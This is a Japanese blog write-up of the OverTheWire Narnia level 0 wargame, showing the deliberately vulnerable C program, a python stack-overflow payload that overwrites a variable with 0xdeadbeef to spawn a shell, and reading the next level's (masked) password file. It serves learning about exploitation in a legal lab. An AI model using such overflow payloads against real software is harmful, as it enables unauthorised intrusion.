LoginSignup
5
4

More than 3 years have passed since last update.

【OverTheWire】Narnia Level 0 → Level 1 Writeup

Last updated at Posted at 2020-03-14

バイナリエクスプロイトの勉強として OverTheWireNarnia を解いてみたのでBuffer Overflowの勉強として1問目のWriteupを書いておきます。

※以前まではすべてのレベルのWriteupを書くことを目標としていましたが、常設CTFのWriteupはネタバレにもなるのであまり書かないほうが良いのではないかといった判断のもと、Level 0→Level 1のみに変更させていただいております。ご了承ください。

Narnia とは?

バイナリエクスプロイトを CTF 形式で解きながら勉強できる OverTheWire というサイトの中でも、特に初歩的な問題を扱っているコンテンツです。
自分は策謀本は読みましたが CTF でも pwn はあまり触れてないのでバイナリエクスプロイトに関しては初心者です。

間違いや説明の足りない点などがあれば、ご指摘をお願い致します。

それではやっていきましょう!

Level 0 → Level 1

まずはターミナルからNarniaの最初のページをみてSSHで接続し、narnia0を実行してみる。

kali@kali:~$ ssh narnia0@narnia.labs.overthewire.org -p 2226
$ cd /narnia
$ ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: ABCD
buf: ABCD
val: 0x41414141
WAY OFF!!!!

ソースコードを確認。

/* (前略) */
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 → 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s", &buf);

    printf("buf: %s\n", buf);
    printf("val: 0x%08x\n", val);

    if(val==0xdeadbeef){
        setreuid(geteuid(), geteuid());
        system("/bin/sh"); 
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }
}

実行結果とソースコードによればbufからvalにバッファオーバーフローさせて0xdeadbeefを格納したあとにsystem関数によって/bin/shが起動されればよいことがわかります。

対象のファイルを標準出力へ書き出すコマンドであるcatを利用します。

$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA☒
val: 0xdeadbeef

これでシェルがとれたので確認。(実際の画面は$は表示されてませんがわかりやすさのため、ここでは表記してます。)

$ whoami
narnia1

パスワード表示でクリア。

$ cat /etc/narnia_pass/narnia1
e********* (ここにパスワード表示)
5
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
4